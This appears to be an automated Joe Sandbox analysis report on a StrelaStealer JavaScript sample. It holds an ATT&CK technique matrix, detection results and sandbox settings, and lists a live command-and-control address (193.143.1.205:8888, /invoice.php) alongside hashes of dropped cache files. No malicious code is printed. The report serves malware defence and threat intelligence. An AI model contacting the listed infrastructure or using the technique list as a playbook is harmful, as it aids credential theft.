Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
106714464113327088.js	13%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/)	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod.C:	edb.log.8.dr	false		high
http://193.143.1.205:8888/)	net.exe, 00000006.00000002.1710935974.000002724C2C7000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://crl.ver)	svchost.exe, 00000008.00000002.2955376000.00000255A7000000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.7.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	edb.log.8.dr	false		high
http://193.143.1.205:8888/4	net.exe, 00000006.00000002.1710935974.000002724C2C7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV2	edb.log.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96	svchost.exe, 00000008.00000003.1716428444.00000255A6F32000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000006.00000002.1710935974.000002724C2A0000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1710935974.000002724C2EE000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	svchost.exe, 00000008.00000003.1716428444.00000255A6F32000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1590533
Start date and time:	2025-01-14 08:44:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 45s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	106714464113327088.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@3/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 52.6.155.20, 3.233.129.217, 52.22.41.97, 3.219.243.226, 2.16.168.107, 2.16.168.105, 162.159.61.3, 172.64.41.3, 2.23.242.162, 23.209.209.135, 172.202.163.200, 104.126.112.182, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, e16604.g.akamaiedge.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:44:59	API Interceptor	22x Sleep call for process: powershell.exe modified
02:45:03	API Interceptor	1x Sleep call for process: net.exe modified
02:45:03	API Interceptor	2x Sleep call for process: svchost.exe modified
02:45:16	API Interceptor	1x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	3062912729105825642.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1684156262492114486.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3130621478256819696.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	10557253441737814573.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	15994293462788625581.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3041621112067010510.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	4208093227073.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	14137177262856222939.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1972921391166218927.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	29522576223272839.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	3062912729105825642.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1684156262492114486.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3130621478256819696.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	10557253441737814573.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	15994293462788625581.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3041621112067010510.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	4208093227073.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	32230219901300318079.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	14137177262856222939.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1972921391166218927.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.3073682411639933
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvro:KooCEYhgYEL0In
MD5:	8A703F1B48944F2896C38BA1D361929A
SHA1:	563D698621687D26C6C1507E25FBEC0E83D42894
SHA-256:	1E78E554C8A80ACB157EE5D064EF6711F1C6E35D72F721DA3EA022C1FA1A28E1
SHA-512:	6C2B65A062BB2FD9A130F28D521EEC831812DCBCD9823D97A87516CFF5B4AC9336A1301D120CE9D9BBC20C3110C8603AB8CFBC6BC4D4F00956519134E80CA340
Malicious:	false
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x59faa280, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.4221432042967324
Encrypted:	false
SSDEEP:	1536:xSB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:xaza/vMUM2Uvz7DO
MD5:	3387CFDAA60805E80613185D0101B20C
SHA1:	10DDB8901128278D529AD7F269BED5442727C456
SHA-256:	836337FEE5DE08C60AF523EAEDB19B05F0EC79C5080FD721B51A949F1F0F4105
SHA-512:	2DB775C7EFA4226FA74CB8A9BB0AFF73EBC21BAB3B2631BAD181BDA744C7A4E661183E3AC7468D8BF24A324957488550E155C279475219904C7FCEA0B20144B5
Malicious:	false
Preview:	Y...... .......A.......X\...;...{......................0.!..........{A..-...}..h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{.......................................-...}.....................B.-...}...........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07710250203132202
Encrypted:	false
SSDEEP:	3:cSltKYeR+pau5Cjn13a/3fmp/lillcVO/lnlZMxZNQl:cyKzR+pav53qvmptGOewk
MD5:	E4B940B4A2A2480DE77A5FB15757684B
SHA1:	B48E44F531B67FC6FCC4BCCC2CF4BF3D7CD30B7E
SHA-256:	F6C5A2029425F88CD250F7548685DE9BF2A87EC0F514196A1E726B0064CA483C
SHA-512:	EAF4285E86445364B6EDB6958C1A32706D695EEB38176202EC61309A6F714015A3B80B6F32716268D47EF0898C3EBC17042C312BB61A3A701BDF2AC2FA80717B
Malicious:	false
Preview:	..h@.....................................;...{...-...}.......{A..............{A......{A..........{A]...................B.-...}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.14348444733409
Encrypted:	false
SSDEEP:	6:iO8cTXrVN4q2Pwkn2nKuAl9OmbnIFUtWcTXaWJZmwocTXaWDkwOwkn2nKuAl9Omt:7PrVOvYfHAahFUt9aA/zao5JfHAaSJ
MD5:	8A4CFF3FF9AC5D93A98C2467A9C7F11A
SHA1:	0FAEC5B9D96329824734FC5182B45A3084C291CD
SHA-256:	8305025F7EFE9B848B32234C59D8C4776E7538398750BAED84B53DECD754F23D
SHA-512:	3091551224E3EAE8F2EDC0987E97EF9E550B43F915D46C11890414DE27E7FA618F47B6D67189D2D9301E0EF18B73BB166622C8996F1505ABA05F6086975D9C96
Malicious:	false
Preview:	2025/01/14-02:45:03.624 1a00 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/14-02:45:03.626 1a00 Recovering log #3.2025/01/14-02:45:03.626 1a00 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.14348444733409
Encrypted:	false
SSDEEP:	6:iO8cTXrVN4q2Pwkn2nKuAl9OmbnIFUtWcTXaWJZmwocTXaWDkwOwkn2nKuAl9Omt:7PrVOvYfHAahFUt9aA/zao5JfHAaSJ
MD5:	8A4CFF3FF9AC5D93A98C2467A9C7F11A
SHA1:	0FAEC5B9D96329824734FC5182B45A3084C291CD
SHA-256:	8305025F7EFE9B848B32234C59D8C4776E7538398750BAED84B53DECD754F23D
SHA-512:	3091551224E3EAE8F2EDC0987E97EF9E550B43F915D46C11890414DE27E7FA618F47B6D67189D2D9301E0EF18B73BB166622C8996F1505ABA05F6086975D9C96
Malicious:	false
Preview:	2025/01/14-02:45:03.624 1a00 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/14-02:45:03.626 1a00 Recovering log #3.2025/01/14-02:45:03.626 1a00 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.165805303727172
Encrypted:	false
SSDEEP:	6:iO8cTRV7ROq2Pwkn2nKuAl9Ombzo2jMGIFUtWcTRXE9ZmwocTRjUIzkwOwkn2nK3:75OvYfHAa8uFUtz0/hvz5JfHAa8RJ
MD5:	B059F2FBF680373CF7A447A3BF204FC0
SHA1:	3DDDB6F432E45B299F170118EE551C39C886626D
SHA-256:	68FBDDA01117F0DB4DD41E25FB4DB3E81E662DB4095BD71F7F4F9CE066AF7584
SHA-512:	E1AB4C3F33A38D77E50718C9C128158B86A098764F7DBCF11189AC81A8ED1FCB7EBE2060C3E1AD03D300BD5C61B282944F07237DD52BAA9E751248CAC805FA7C
Malicious:	false
Preview:	2025/01/14-02:45:03.642 1c64 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/14-02:45:03.643 1c64 Recovering log #3.2025/01/14-02:45:03.644 1c64 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.165805303727172
Encrypted:	false
SSDEEP:	6:iO8cTRV7ROq2Pwkn2nKuAl9Ombzo2jMGIFUtWcTRXE9ZmwocTRjUIzkwOwkn2nK3:75OvYfHAa8uFUtz0/hvz5JfHAa8RJ
MD5:	B059F2FBF680373CF7A447A3BF204FC0
SHA1:	3DDDB6F432E45B299F170118EE551C39C886626D
SHA-256:	68FBDDA01117F0DB4DD41E25FB4DB3E81E662DB4095BD71F7F4F9CE066AF7584
SHA-512:	E1AB4C3F33A38D77E50718C9C128158B86A098764F7DBCF11189AC81A8ED1FCB7EBE2060C3E1AD03D300BD5C61B282944F07237DD52BAA9E751248CAC805FA7C
Malicious:	false
Preview:	2025/01/14-02:45:03.642 1c64 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/14-02:45:03.643 1c64 Recovering log #3.2025/01/14-02:45:03.644 1c64 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\9d595bd0-9e81-4468-8899-a218468d2247.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.962127568566788
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqzQpEsBdOg2Hlcaq3QYiubInP7E4T3y:Y2sRdsDdMHE3QYhbG7nby
MD5:	3205B8AF0E35EC16541F9A7137415F13
SHA1:	F8D67266E1E8BD3BA8C708A6B5F796EE8BD6FE7F
SHA-256:	C8BEF7A402EB75EAB54CE03298B448338DED685EE46337BCF5552A6553CCC224
SHA-512:	0A9D64FE68EF1C2ECBE02CBF40BBF58045C12624F3E6309EEB169FC55647F389645766C5855F71BD5C6328D350566C7804B843602BF03F0F67060214AF4403BE
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381400716226232","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":124660},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.962127568566788
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqzQpEsBdOg2Hlcaq3QYiubInP7E4T3y:Y2sRdsDdMHE3QYhbG7nby
MD5:	3205B8AF0E35EC16541F9A7137415F13
SHA1:	F8D67266E1E8BD3BA8C708A6B5F796EE8BD6FE7F
SHA-256:	C8BEF7A402EB75EAB54CE03298B448338DED685EE46337BCF5552A6553CCC224
SHA-512:	0A9D64FE68EF1C2ECBE02CBF40BBF58045C12624F3E6309EEB169FC55647F389645766C5855F71BD5C6328D350566C7804B843602BF03F0F67060214AF4403BE
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381400716226232","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":124660},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4320
Entropy (8bit):	5.256334003205632
Encrypted:	false
SSDEEP:	96:etJCV4FAsszrNamjTN/2rjYMta02fDtehgO7BtTgo7gJzaqFN:etJCV4FiN/jTN/2r8Mta02fEhgO73goS
MD5:	BDDA44282073B901DD1B647AA5BAE1C2
SHA1:	820A3E6F18FE89F57C6AF00D89A919C38F6F7383
SHA-256:	277675A6EC7BF86F71B4C9D68F8B1B653142F834D089D61614439D1E028E7E44
SHA-512:	B01F2B61D757DE32399D558262F01A85E56856A4D726F97E3D6CCED41AE22BA1D90AD436945012467DA292A28C2C607E72B6A5267B645DE28B68F01372A36A6D
Malicious:	false
Preview:	*...#................version.1..namespace-['O.o................next-map-id.1.Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/.0>...r................next-map-id.2.Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/.1O..r................next-map-id.3.Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/.2.\.o................next-map-id.4.Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/.3....^...............Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/..\|.^...............Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/n..Fa...............Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/DQ..a...............Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/i.`do................next-map-id.5.Pnamespace-de635bf2_6773_4d83_ad16_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.181760576779378
Encrypted:	false
SSDEEP:	6:iO8cdwq2Pwkn2nKuAl9OmbzNMxIFUtWcdqhZmwocdq7kwOwkn2nKuAl9OmbzNMFd:7hwvYfHAa8jFUtb8/V85JfHAa84J
MD5:	0D2E68DD3899137B469DF69B2D88E43E
SHA1:	161BB65544448F084DC539CB407F2309C56BD2EF
SHA-256:	CFD4F714C8E847957B11E8511C6249D461552141CDD0DC94FA14DD326CC75181
SHA-512:	F6B25D1975F94ED57D4C3092FC3E2F3B07E96CCF5C63FF9B11797A6B3466ED70FC2F31E4AFF1C7FC9E6D4FBC53539C7DAA1BAE01C6598584A5393005DEA03DB2
Malicious:	false
Preview:	2025/01/14-02:45:03.811 1c64 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/14-02:45:03.812 1c64 Recovering log #3.2025/01/14-02:45:03.812 1c64 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.181760576779378
Encrypted:	false
SSDEEP:	6:iO8cdwq2Pwkn2nKuAl9OmbzNMxIFUtWcdqhZmwocdq7kwOwkn2nKuAl9OmbzNMFd:7hwvYfHAa8jFUtb8/V85JfHAa84J
MD5:	0D2E68DD3899137B469DF69B2D88E43E
SHA1:	161BB65544448F084DC539CB407F2309C56BD2EF
SHA-256:	CFD4F714C8E847957B11E8511C6249D461552141CDD0DC94FA14DD326CC75181
SHA-512:	F6B25D1975F94ED57D4C3092FC3E2F3B07E96CCF5C63FF9B11797A6B3466ED70FC2F31E4AFF1C7FC9E6D4FBC53539C7DAA1BAE01C6598584A5393005DEA03DB2
Malicious:	false
Preview:	2025/01/14-02:45:03.811 1c64 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/14-02:45:03.812 1c64 Recovering log #3.2025/01/14-02:45:03.812 1c64 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.445052410609097
Encrypted:	false
SSDEEP:	384:yezci5teiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:rxs3OazzU89UTTgUL
MD5:	BE47199088FE09880D127D788283D52B
SHA1:	1CB80A5FE208DC11E2B35F7BC1FE3F995B9AFE7B
SHA-256:	D5F7660B14FD0788B1D80AFC72099BB095331DC35DE44249187574A390920BF4
SHA-512:	DBF11FBD16678D7C221F7531DA4F81715747F2017D8FCFDF6E55ACAB9FD5070800D33EA8547C93452E3A98FE6685D69127287C89B62EA8E9AECC4AEE062CF79F
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7750592235532685
Encrypted:	false
SSDEEP:	48:7Mxp/E2ioyVoMioy9oWoy1Cwoy1p/KOioy1noy1AYoy1Wioy1hioybioyz5oy1np:76pjuoMF6VXKQsLTb9IVXEBodRBk/
MD5:	364328D2B69AA8BB58FF75F78C622BF2
SHA1:	A1E89AEC561AA25DED87F489C61EA6E07B9DEE9A
SHA-256:	780863E550B8EEE1C62F045C8181CCD0BC48BA5AC3E4C74C22217739190B5133
SHA-512:	8AF15307DC6E5E33D838CFD214D60E5BA6281242890EE4F9A8FAE414A6907E497A27D316CC61E8E485DBF730929A52A5984F4E04C9D3129494E67F7840178E57
Malicious:	false
Preview:	.... .c.......~................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.746484906506307
Encrypted:	false
SSDEEP:	3:kkFkl4M7hhfllXlE/HT8kwhl/tNNX8RolJuRdxLlGB9lQRYwpDdt:kKhoh6T8/l7NMa8RdWBwRd
MD5:	BBA07886ECE65A1EF0C50D56A6CDC293
SHA1:	52B2CE0C59E4F25CEA9BBCD4816555A9175562AC
SHA-256:	AA5E44A1D15F9C5901E062FA934D9E4A2549703FD3804C63F4524494195E1607
